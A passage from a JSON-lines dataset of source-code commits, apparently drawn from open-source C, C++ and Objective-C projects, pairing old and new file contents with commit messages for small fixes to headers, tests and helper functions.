<Portal\/Yoga.h>\n#import <Portal\/YGNodeList.h>\n#import <Portal\/YGLayout.h>\n#import <Portal\/UIView+Yoga.h>\n","subject":"Add missing Yoga headers to umbrella header.","message":"Add missing Yoga headers to umbrella header.\n\nThis is needed to avoid warnings.\n","lang":"C","license":"mit","repos":"guidomb\/Portal,guidomb\/Portal,guidomb\/Portal,guidomb\/Portal"}
{"commit":"aa1a7a8b481411f027d3931a2d52382398345ac1","old_file":"tests\/test-x509.c","new_file":"tests\/test-x509.c","old_contents":"#include <mongoc.h>\n#include \"mongoc-ssl-private.h\"\n\n#include \"TestSuite.h\"\n\n#ifdef MONGOC_ENABLE_OPENSSL\nstatic void\ntest_extract_subject (void)\n{\n   char *subject;\n\n   subject = mongoc_ssl_extract_subject (CERT_SERVER, NULL);\n   ASSERT_CMPSTR (subject, \"C=IS,ST=Reykjavik,L=Reykjavik,O=MongoDB,OU=Drivers,CN=server\");\n   bson_free (subject);\n\n   subject = mongoc_ssl_extract_subject (CERT_CLIENT, NULL);\n   ASSERT_CMPSTR (subject, \"C=IS,ST=Kopavogur,L=Kopavogur,O=MongoDB,OU=Drivers,CN=client\");\n   bson_free (subject);\n}\n#endif\n\n\nvoid\ntest_x509_install (TestSuite *suite)\n{\n#ifdef MONGOC_ENABLE_OPENSSL\n   TestSuite_Add (suite, \"\/X509\/extract_subject\", test_extract_subject);\n#endif\n}\n","new_contents":"#include <mongoc.h>\n#include \"mongoc-ssl-private.h\"\n\n#include \"TestSuite.h\"\n\n#ifdef MONGOC_ENABLE_OPENSSL\nstatic void\ntest_extract_subject (void)\n{\n   char *subject;\n\n   subject = mongoc_ssl_extract_subject (CERT_SERVER, NULL);\n   ASSERT_CMPSTR (subject, \"C=US,ST=California,L=Palo Alto,O=MongoDB,OU=Drivers,CN=server\");\n   bson_free (subject);\n\n   subject = mongoc_ssl_extract_subject (CERT_CLIENT, NULL);\n   ASSERT_CMPSTR (subject, \"C=NO,ST=Oslo,L=Oslo,O=MongoDB,OU=Drivers,CN=client\");\n   bson_free (subject);\n}\n#endif\n\n\nvoid\ntest_x509_install (TestSuite *suite)\n{\n#ifdef MONGOC_ENABLE_OPENSSL\n   TestSuite_Add (suite, \"\/X509\/extract_subject\", test_extract_subject);\n#endif\n}\n","subject":"Fix last-minute certificate subject changes","message":"Fix last-minute certificate subject changes\n","lang":"C","license":"apache-2.0","repos":"christopherjwang\/mongo-c-driver,mongodb\/mongo-c-driver,bjori\/mongo-c-driver,ajdavis\/mongo-c-driver,ajdavis\/mongo-c-driver,beingmeta\/mongo-c-driver,jmikola\/mongo-c-driver,ajdavis\/mongo-c-driver,mongodb\/mongo-c-driver,acmorrow\/mongo-c-driver,Machyne\/mongo-c-driver,rcsanchez97\/mongo-c-driver,christopherjwang\/mongo-c-driver,Machyne\/mongo-c-driver,Machyne\/mongo-c-driver,acmorrow\/mongo-c-driver,jmikola\/mongo-c-driver,remicollet\/mongo-c-driver,bjori\/mongo-c-driver,bjori\/mongo-c-driver,jmikola\/mongo-c-driver,bjori\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,mschoenlaub\/mongo-c-driver,mschoenlaub\/mongo-c-driver,christopherjwang\/mongo-c-driver,bjori\/mongo-c-driver,remicollet\/mongo-c-driver,derickr\/mongo-c-driver,ajdavis\/mongo-c-driver,jmikola\/mongo-c-driver,remicollet\/mongo-c-driver,remicollet\/mongo-c-driver,beingmeta\/mongo-c-driver,rcsanchez97\/mongo-c-driver,beingmeta\/mongo-c-driver,mongodb\/mongo-c-driver,mschoenlaub\/mongo-c-driver,Machyne\/mongo-c-driver,beingmeta\/mongo-c-driver,ajdavis\/mongo-c-driver,ajdavis\/mongo-c-driver,jmikola\/mongo-c-driver,bjori\/mongo-c-driver,rcsanchez97\/mongo-c-driver,jmikola\/mongo-c-driver,malexzx\/mongo-c-driver,rcsanchez97\/mongo-c-driver,malexzx\/mongo-c-driver,derickr\/mongo-c-driver,remicollet\/mongo-c-driver,derickr\/mongo-c-driver,acmorrow\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,derickr\/mongo-c-driver,mongodb\/mongo-c-driver,malexzx\/mongo-c-driver,derickr\/mongo-c-driver,acmorrow\/mongo-c-driver,mschoenlaub\/mongo-c-driver,malexzx\/mongo-c-driver,acmorrow\/mongo-c-driver,derickr\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,bjori\/mongo-c-driver,mongodb\/mongo-c-driver,derickr\/mongo-c-driver,ajdavis\/mongo-c-driver,rcsanchez97\/mongo-c-driver,rcsanchez97\/mongo-c-driver,beingmeta\/mongo-c-driver,jmikola\/mongo-c-driver,beingmeta\/mongo-c-driver,remicollet\/mongo-c-driver,remicollet\/mongo-c-driver,beingmeta\/mongo-c-driver,christopherjwang\/mongo-c-driver,acmorrow\/mongo-c-driver,acmorrow\/mongo-c-driver,mongodb\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,mongodb\/mongo-c-driver,rcsanchez97\/mongo-c-driver"}
{"commit":"b834040b9426954cde912b685af7505b741dab4a","old_file":"control.c","new_file":"control.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\nstruct Packet {\n    unsigned int status: 1;\n    unsigned int group: 2;\n    unsigned int plug: 2;\n};\n\nunsigned int packet_to_binary(struct Packet packet) {\n    unsigned int binary = (packet.status << 7);\n    binary |= ((packet.group & 0x3) << 2);\n    binary |= (packet.plug  & 0x3);\n\n    return binary & 0xFF;\n}\n\nvoid binary_to_packet(struct Packet *packet, unsigned int binary) {\n    packet->status = (binary >> 7);\n    packet->group = (binary >> 2) & 0x3;\n    packet->plug = binary & 0x3;\n}\n\nvoid printBinary(int num, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    while (current > 0) {\n        printf(\"%d\", ((num & current) >> shift) & 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    printf(\"\\n\");\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\nstruct Packet {\n    unsigned int status: 1;\n    unsigned int group: 2;\n    unsigned int plug: 2;\n};\n\nunsigned int packet_to_binary(struct Packet packet) {\n    unsigned int binary = (packet.status << 7);\n    binary |= ((packet.group & 0x3) << 2);\n    binary |= (packet.plug  & 0x3);\n\n    return binary & 0xFF;\n}\n\nvoid binary_to_packet(struct Packet *packet, unsigned int binary) {\n    packet->status = (binary >> 7);\n    packet->group = (binary >> 2) & 0x3;\n    packet->plug = binary & 0x3;\n}\n\nvoid btoa(int num, char *buf, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    char digit[2];\n\n    while (current > 0) {\n        sprintf(digit, \"%d\", ((num & current) >> shift) & 1);\n        strncat(buf, digit, 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    strcat(buf, \"\\0\");\n}\n","subject":"Rename printBinary function and write to string instead","message":"Rename printBinary function and write to string instead\n\nprintBinary is now called btoa (binary to ascii)\nbtoa accepts the number, a buffer and a number of digits\nbuffer length must be (digits + 1)\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"ac16931e26eee975b8a80dd7aa36c393de59a349","old_file":"src\/libclientserver\/Client.h","new_file":"src\/libclientserver\/Client.h","old_contents":"\n\n\/**\n * @class Client\n * @brief Factor class for being able to generate connections\n *\n * This class will create connections using the common interface ClientBase\n * which is based on connections strings. The connections should be completly\n * abstracted from the parent classes other than this entry point.\n *\/\n\nclass Client\n{\n\tpublic:\n\t\tstatic ClientBase *Create(const std::string &ConnectionString);\n\t\t\n\t\tstatic ClientBase *CreateUnix(const std::string &ConnectionString);\n\t\tstatic ClientBase *CreateTcp(const std::string &ConnectionString);\n\n};\n\n","new_contents":"\n\n\/**\n * @class Client\n * @brief Factor class for being able to generate connections\n *\n * This class will create connections using the common interface ClientBase\n * which is based on connections strings. The connections should be completly\n * abstracted from the parent classes other than this entry point.\n *\/\n\nclass Client\n{\n\tpublic:\n\t\tstatic ClientBase *Create(const std::string &ConnectionString);\n\t\t\n\t\tstatic ClientBase *CreateUnix(const std::string &ConnectionString);\n\t\tstatic ClientBase *CreateUnixSelected(const std::string &ConnectionString);\n\t\t\t\t\n\t\tstatic ClientBase *CreateTcp(const std::string &ConnectionString);\n\n};\n\n","subject":"Fix compile error with missing function declare","message":"Fix compile error with missing function declare\n","lang":"C","license":"mit","repos":"mistralol\/libclientserver,mistralol\/libclientserver"}
{"commit":"e6f3746ef6ef8910e3e420e78f2a073f8e5a9084","old_file":"src\/nbds.0.4.3\/include\/mem.h","new_file":"src\/nbds.0.4.3\/include\/mem.h","old_contents":"\/* \n * Written by Josh Dybnis and released to the public domain, as explained at\n * http:\/\/creativecommons.org\/licenses\/publicdomain\n *\/\n#ifndef MEM_H\n#define MEM_H\nvoid *nbd_malloc (size_t n) __attribute__((malloc, alloc_size(1)));\nvoid nbd_free (void *x) __attribute__((nonnull));\n#endif\/\/MEM_H\n","new_contents":"\/* \n * Written by Josh Dybnis and released to the public domain, as explained at\n * http:\/\/creativecommons.org\/licenses\/publicdomain\n *\/\n#ifndef MEM_H\n#define MEM_H\nvoid *nbd_malloc (size_t n) __attribute__((malloc));\nvoid nbd_free (void *x) __attribute__((nonnull));\n#endif\/\/MEM_H\n","subject":"Remove a warning from NBDS.","message":"Remove a warning from NBDS.\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"450fc5d62732ee8a97220114a02c8393c1b67182","old_file":"include\/kernel.h","new_file":"include\/kernel.h","old_contents":"#ifndef __KERNEL_H__\n#define __KERNEL_H__\n\n#include <task.h>\n\ntypedef struct kernel_global {\n\tTaskList *task_list;\n} KernelGlobal;\n\n#define TASK_MAX 30\n#define TASK_STACK_SIZE 1000\n#define TASK_PRIORITY_MAX 10\n\n#define SWI_ENTRY_POINT 0x28\n#define DATA_REGION_BASE 0x218000\n\n#define CPU_MODE_USER 0x10\n#define CPU_MODE_SVC 0x13\n#define CPU_MODE_SYS 0x1f\n\n#endif \/\/ __KERNEL_H__\n","new_contents":"#ifndef __KERNEL_H__\n#define __KERNEL_H__\n\n#include <task.h>\n\ntypedef struct kernel_global {\n\tTaskList *tlist;\n\tFreeList *flist;\n} KernelGlobal;\n\n#define TASK_MAX 30\n#define TASK_STACK_SIZE 512\n#define TASK_PRIORITY_MAX 10\n\n#define SWI_ENTRY_POINT 0x28\n#define DATA_REGION_BASE 0x218000\n\n#define CPU_MODE_USER 0x10\n#define CPU_MODE_SVC 0x13\n#define CPU_MODE_SYS 0x1f\n\n#endif \/\/ __KERNEL_H__\n","subject":"Modify KernelGlobal structure; decrease TASK_STACK_SIZE","message":"Modify KernelGlobal structure; decrease TASK_STACK_SIZE\n","lang":"C","license":"mit","repos":"gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel"}
{"commit":"a726bc24664b69fd2f5899dab2a6155d3bd6b963","old_file":"Core\/CoreDefines.h","new_file":"Core\/CoreDefines.h","old_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#ifndef incl_CoreDefines_h\n#define incl_CoreDefines_h\n\n\/\/ useful defines\n\n#define SAFE_DELETE(p) { delete p; p=0; }\n#define SAFE_DELETE_ARRAY(p) { delete [] p; p=0; }\n\n#define NUMELEMS(x) (sizeof(x)\/sizeof(x[0]))\n\n\/\/\/ Use this template to downcast from a base class to a derived class when you know by static code analysis what the derived \n\/\/\/ type has to be and don't want to pay the runtime performance incurred by dynamic_casting. In debug mode, the proper\n\/\/\/ derived type will be assert()ed, but in release mode this be just the same as using static_cast.\n\/\/\/ Repeating to make a note: In RELEASE mode, checked_static_cast == static_cast. It is *NOT* a substitute to use in places\n\/\/\/ where you really need a dynamic_cast.\ntemplate<typename Dst, typename Src>\ninline Dst checked_static_cast(Src src)\n{\n    assert(dynamic_cast<Dst>(src) != 0);\n    return static_cast<Dst>(src);\n}\n\n\/\/! use to suppress warning C4101 (unreferenced local variable)\n#define UNREFERENCED_PARAM(P)               (P)\n\n\/\/\/ Use for QObjects\n#define SAFE_DELETE_LATER(p) { if ((p)) (p)->deleteLater(); (p) = 0; }\n\n#endif\n\n","new_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#ifndef incl_CoreDefines_h\n#define incl_CoreDefines_h\n\n\/\/ useful defines\n\n#define SAFE_DELETE(p) { delete p; p=0; }\n#define SAFE_DELETE_ARRAY(p) { delete [] p; p=0; }\n\n#define NUMELEMS(x) (sizeof(x)\/sizeof(x[0]))\n\n\/\/\/ Use this template to downcast from a base class to a derived class when you know by static code analysis what the derived \n\/\/\/ type has to be and don't want to pay the runtime performance incurred by dynamic_casting. In debug mode, the proper\n\/\/\/ derived type will be assert()ed, but in release mode this be just the same as using static_cast.\n\/\/\/ Repeating to make a note: In RELEASE mode, checked_static_cast == static_cast. It is *NOT* a substitute to use in places\n\/\/\/ where you really need a dynamic_cast.\ntemplate<typename Dst, typename Src>\ninline Dst checked_static_cast(Src src)\n{\n    assert(src == 0 || dynamic_cast<Dst>(src) != 0);\n    return static_cast<Dst>(src);\n}\n\n\/\/! use to suppress warning C4101 (unreferenced local variable)\n#define UNREFERENCED_PARAM(P)               (P)\n\n\/\/\/ Use for QObjects\n#define SAFE_DELETE_LATER(p) { if ((p)) (p)->deleteLater(); (p) = 0; }\n\n#endif\n\n","subject":"Fix checked_static_cast to allow null pointers.","message":"Fix checked_static_cast to allow null pointers.\n","lang":"C","license":"apache-2.0","repos":"antont\/tundra,jesterKing\/naali,antont\/tundra,antont\/tundra,realXtend\/tundra,pharos3d\/tundra,jesterKing\/naali,jesterKing\/naali,AlphaStaxLLC\/tundra,antont\/tundra,BogusCurry\/tundra,BogusCurry\/tundra,BogusCurry\/tundra,antont\/tundra,realXtend\/tundra,jesterKing\/naali,AlphaStaxLLC\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,jesterKing\/naali,pharos3d\/tundra,AlphaStaxLLC\/tundra,pharos3d\/tundra,BogusCurry\/tundra,antont\/tundra,BogusCurry\/tundra,AlphaStaxLLC\/tundra,realXtend\/tundra,antont\/tundra,jesterKing\/naali,pharos3d\/tundra,pharos3d\/tundra,realXtend\/tundra,realXtend\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,jesterKing\/naali"}
{"commit":"abd31a208639f0be773f35d1c161fe7fdcb138db","old_file":"src\/main\/entity\/components\/SkillComponent.h","new_file":"src\/main\/entity\/components\/SkillComponent.h","old_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n\/**\n * Enumeration for identifying different skills.\n *\/\nenum skill_t {\n\tNOSKILL,\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid\n};\n\n\/**\n * This array defines our parent skill relationships.\n *\n * If a skill's parent is NOSKILL, it has no parent.\n *\/\nconst skill_t* PARENT_SKILLS = { NOSKILL, NOSKILL, Melee, Swords, Melee, Maces, NOSKILL };\n\n#endif\n","new_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n\/**\n * Enumeration for identifying different skills.\n *\/\nenum skill_t {\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid\n};\n\n\/**\n * This array defines our parent skill relationships.\n *\n * If a skill's parent is itself, it has no parent.\n *\/\nconst skill_t PARENT_SKILLS[] = { Melee, Melee, Swords, Melee, Maces, FirstAid };\n\n#endif\n","subject":"Fix PARENT_SKILLS declaration; remove NOSKILL","message":"Fix PARENT_SKILLS declaration; remove NOSKILL\n\nWhy would anyone want to be unskilled anyway?\n","lang":"C","license":"mit","repos":"Kromey\/roglick"}
{"commit":"0a574c093691f0a16a3016456475ec98d57c1109","old_file":"src\/ia64\/Gget_proc_info.c","new_file":"src\/ia64\/Gget_proc_info.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nint\nunw_get_proc_info (unw_cursor_t *cursor, unw_proc_info_t *pi)\n{\n  struct ia64_cursor *c = (struct ia64_cursor *) cursor;\n  int ret;\n\n  if ((ret = ia64_make_proc_info (c)) < 0)\n    return ret;\n  *pi = c->pi;\n  return 0;\n}\n","subject":"Call ia64_make_proc_info() to ensure that the proc_info is valid.","message":"(unw_get_proc_info): Call ia64_make_proc_info() to ensure that the proc_info is\n\tvalid.\n\n2002\/12\/11 12:26:26-08:00 mostang.com!davidm\nRename: src\/ia64\/Lget_proc_info.c -> src\/ia64\/Gget_proc_info.c\n\n(Logical change 1.30)\n","lang":"C","license":"mit","repos":"dagar\/libunwind,geekboxzone\/mmallow_external_libunwind,krytarowski\/libunwind,cms-externals\/libunwind,geekboxzone\/lollipop_external_libunwind,rantala\/libunwind,geekboxzone\/lollipop_external_libunwind,unkadoug\/libunwind,zeldin\/platform_external_libunwind,libunwind\/libunwind,CyanogenMod\/android_external_libunwind,android-ia\/platform_external_libunwind,tronical\/libunwind,rogwfu\/libunwind,zliu2014\/libunwind-tilegx,DroidSim\/platform_external_libunwind,igprof\/libunwind,zliu2014\/libunwind-tilegx,cloudius-systems\/libunwind,evaautomation\/libunwind,dagar\/libunwind,igprof\/libunwind,vtjnash\/libunwind,igprof\/libunwind,pathscale\/libunwind,ehsan\/libunwind,pathscale\/libunwind,atanasyan\/libunwind,fillexen\/libunwind,joyent\/libunwind,evaautomation\/libunwind,krytarowski\/libunwind,SyndicateRogue\/libunwind,geekboxzone\/mmallow_external_libunwind,CyanogenMod\/android_external_libunwind,zeldin\/platform_external_libunwind,android-ia\/platform_external_libunwind,zliu2014\/libunwind-tilegx,0xlab\/0xdroid-external_libunwind,tronical\/libunwind,androidarmv6\/android_external_libunwind,SyndicateRogue\/libunwind,lat\/libunwind,wdv4758h\/libunwind,frida\/libunwind,dreal-deps\/libunwind,tony\/libunwind,androidarmv6\/android_external_libunwind,vegard\/libunwind,lat\/libunwind,ehsan\/libunwind,adsharma\/libunwind,cloudius-systems\/libunwind,dropbox\/libunwind,djwatson\/libunwind,frida\/libunwind,rntz\/libunwind,Keno\/libunwind,maltek\/platform_external_libunwind,vtjnash\/libunwind,atanasyan\/libunwind,rantala\/libunwind,atanasyan\/libunwind-android,olibc\/libunwind,yuyichao\/libunwind,Keno\/libunwind,fdoray\/libunwind,olibc\/libunwind,dagar\/libunwind,project-zerus\/libunwind,martyone\/libunwind,bo-on-software\/libunwind,tony\/libunwind,atanasyan\/libunwind-android,wdv4758h\/libunwind,tony\/libunwind,atanasyan\/libunwind,Chilledheart\/libunwind,rantala\/libunwind,yuyichao\/libunwind,wdv4758h\/libunwind,maltek\/platform_external_libunwind,pathscale\/libunwind,tkelman\/libunwind,dreal-deps\/libunwind,olibc\/libunwind,cloudius-systems\/libunwind,yuyichao\/libunwind,unkadoug\/libunwind,djwatson\/libunwind,vtjnash\/libunwind,bo-on-software\/libunwind,maltek\/platform_external_libunwind,bo-on-software\/libunwind,tkelman\/libunwind,project-zerus\/libunwind,Chilledheart\/libunwind,adsharma\/libunwind,fdoray\/libunwind,android-ia\/platform_external_libunwind,tkelman\/libunwind,fillexen\/libunwind,DroidSim\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,Keno\/libunwind,cms-externals\/libunwind,mpercy\/libunwind,ehsan\/libunwind,mpercy\/libunwind,frida\/libunwind,rogwfu\/libunwind,rntz\/libunwind,joyent\/libunwind,geekboxzone\/mmallow_external_libunwind,adsharma\/libunwind,lat\/libunwind,SyndicateRogue\/libunwind,unkadoug\/libunwind,jrmuizel\/libunwind,zeldin\/platform_external_libunwind,martyone\/libunwind,atanasyan\/libunwind-android,mpercy\/libunwind,androidarmv6\/android_external_libunwind,krytarowski\/libunwind,tronical\/libunwind,martyone\/libunwind,jrmuizel\/libunwind,project-zerus\/libunwind,dreal-deps\/libunwind,dropbox\/libunwind,rntz\/libunwind,rogwfu\/libunwind,libunwind\/libunwind,DroidSim\/platform_external_libunwind,fillexen\/libunwind,CyanogenMod\/android_external_libunwind,djwatson\/libunwind,libunwind\/libunwind,joyent\/libunwind,0xlab\/0xdroid-external_libunwind,evaautomation\/libunwind,vegard\/libunwind,Chilledheart\/libunwind,dropbox\/libunwind,jrmuizel\/libunwind,fdoray\/libunwind,0xlab\/0xdroid-external_libunwind,vegard\/libunwind,cms-externals\/libunwind"}
{"commit":"5a0d65b27682ea330b8d2c88edae4ff9e44f8098","old_file":"src\/plugins\/crypto\/compile_gcrypt.c","new_file":"src\/plugins\/crypto\/compile_gcrypt.c","old_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <gcrypt.h>\n\ngcry_cipher_hd_t nothing ()\n{\n\tgcry_cipher_hd_t elektraCryptoHandle = NULL;\n\treturn elektraCryptoHandle;\n}\n\nint main (void)\n{\n\tnothing ();\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <gcrypt.h>\n\ngcry_cipher_hd_t nothing (void)\n{\n\tgcry_cipher_hd_t elektraCryptoHandle = NULL;\n\treturn elektraCryptoHandle;\n}\n\nint main (void)\n{\n\tnothing ();\n\treturn 0;\n}\n","subject":"Fix warning in GCrypt test program","message":"Crypto: Fix warning in GCrypt test program\n","lang":"C","license":"bsd-3-clause","repos":"e1528532\/libelektra,e1528532\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,e1528532\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,mpranj\/libelektra,e1528532\/libelektra,mpranj\/libelektra"}
{"commit":"e280eda845dd538c8e37d2d5e526d242e3099d41","old_file":"tests\/regression\/08-malloc_null\/02-paths-malloc.c","new_file":"tests\/regression\/08-malloc_null\/02-paths-malloc.c","old_contents":"\/\/ PARAM: --set ana.activated \"['base','threadid','threadflag','escape','malloc_null','mallocWrapper']\" --set ana.base.privatization none\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n\nint main(void) {\n  int *v, *u, r;\n\n  u = (int*)malloc(sizeof(*u));\n  v = (int*)malloc(sizeof(*v));\n\n  *u = 10; \/\/ WARN\n  *v = 10; \/\/ WARN\n\n  if (v == 0)\n    exit(-1);\n\n  *u = 15; \/\/ WARN\n  *v = 15; \/\/ NOWARN\n\n  if (u == 0)\n    exit(-1);\n\n  *u = 20; \/\/ NOWARN\n  *v = 20; \/\/ NOWARN\n\n  if (r){\n    u = (int*)malloc(sizeof(*u));\n    v = (int*)malloc(sizeof(*v));\n  }\n\n  *u = 30; \/\/ WARN\n  *v = 30; \/\/ WARN\n\n  printf(\"???\");\n\n  if (r){\n    if (u == 0 || v == 0)\n      exit(-1);\n  }\n\n  assert(0); \/\/ FAIL\n  *u = 40; \/\/ NOWARN\n  *v = 40; \/\/ NOWARN\n\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --set ana.activated \"['base','threadid','threadflag','escape','malloc_null','mallocWrapper']\" --set ana.base.privatization none\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n\nint main(void) {\n  int *v, *u, r;\n\n  u = (int*)malloc(sizeof(*u));\n  v = (int*)malloc(sizeof(*v));\n\n  *u = 10; \/\/ WARN\n  *v = 10; \/\/ WARN\n\n  if (v == 0)\n    exit(-1);\n\n  *u = 15; \/\/ WARN\n  *v = 15; \/\/ NOWARN\n\n  if (u == 0)\n    exit(-1);\n\n  *u = 20; \/\/ NOWARN\n  *v = 20; \/\/ NOWARN\n\n  if (r){\n    u = (int*)malloc(sizeof(*u));\n    v = (int*)malloc(sizeof(*v));\n  }\n\n  *u = 30; \/\/ WARN\n  *v = 30; \/\/ WARN\n\n  printf(\"???\");\n\n  if (r){\n    if (u == 0 || v == 0)\n      exit(-1);\n  }\n\n  *u = 40; \/\/ NOWARN\n  *v = 40; \/\/ NOWARN\n\n  return 0;\n}\n","subject":"Remove unnecessary assert(0) from 08\/02","message":"Remove unnecessary assert(0) from 08\/02\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"df52622b317e55b88c6f9d62e0273defa0164a35","old_file":"tests\/ncc\/struct_init_array_of_padded_structs\/in.c","new_file":"tests\/ncc\/struct_init_array_of_padded_structs\/in.c","old_contents":"","new_contents":"#include <assert.h>\n\nint main()\n{\n\tstruct\n\t{\n\t\tstruct { int *a; int b; } a[2];\n\t} b = { .a[1].b = 1 };\n\tassert(sizeof b.a == 32);\n\tassert(sizeof b.a[0] == 16);\n\tassert(b.a[1].b == 1);\n\n\treturn 0;\n}\n","subject":"Add a similar test to the previous one, with arrays this time.","message":"Add a similar test to the previous one, with arrays this time.\n","lang":"C","license":"mit","repos":"orodley\/naive,orodley\/naive,orodley\/naive,orodley\/naive"}
{"commit":"1c0b391419b035f78b41ee3bce8934f42896eef2","old_file":"browser\/ui\/atom_event_processing_window.h","new_file":"browser\/ui\/atom_event_processing_window.h","old_contents":"\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n#define ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/ Override NSWindow to access unhandled keyboard events (for command\n\/\/ processing); subclassing NSWindow is the only method to do\n\/\/ this.\n@interface AtomEventProcessingWindow : NSWindow {\n @private\n  BOOL redispatchingEvent_;\n  BOOL eventHandled_;\n}\n\n\/\/ Sends a key event to |NSApp sendEvent:|, but also makes sure that it's not\n\/\/ short-circuited to the RWHV. This is used to send keyboard events to the menu\n\/\/ and the cmd-` handler if a keyboard event comes back unhandled from the\n\/\/ renderer. The event must be of type |NSKeyDown|, |NSKeyUp|, or\n\/\/ |NSFlagsChanged|.\n\/\/ Returns |YES| if |event| has been handled.\n- (BOOL)redispatchKeyEvent:(NSEvent*)event;\n\n- (BOOL)performKeyEquivalent:(NSEvent*)theEvent;\n@end\n\n#endif  \/\/ ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n","new_contents":"\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n#define ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n\n#import <Cocoa\/Cocoa.h>\n\n#import \"ui\/base\/cocoa\/underlay_opengl_hosting_window.h\"\n\n\/\/ Override NSWindow to access unhandled keyboard events (for command\n\/\/ processing); subclassing NSWindow is the only method to 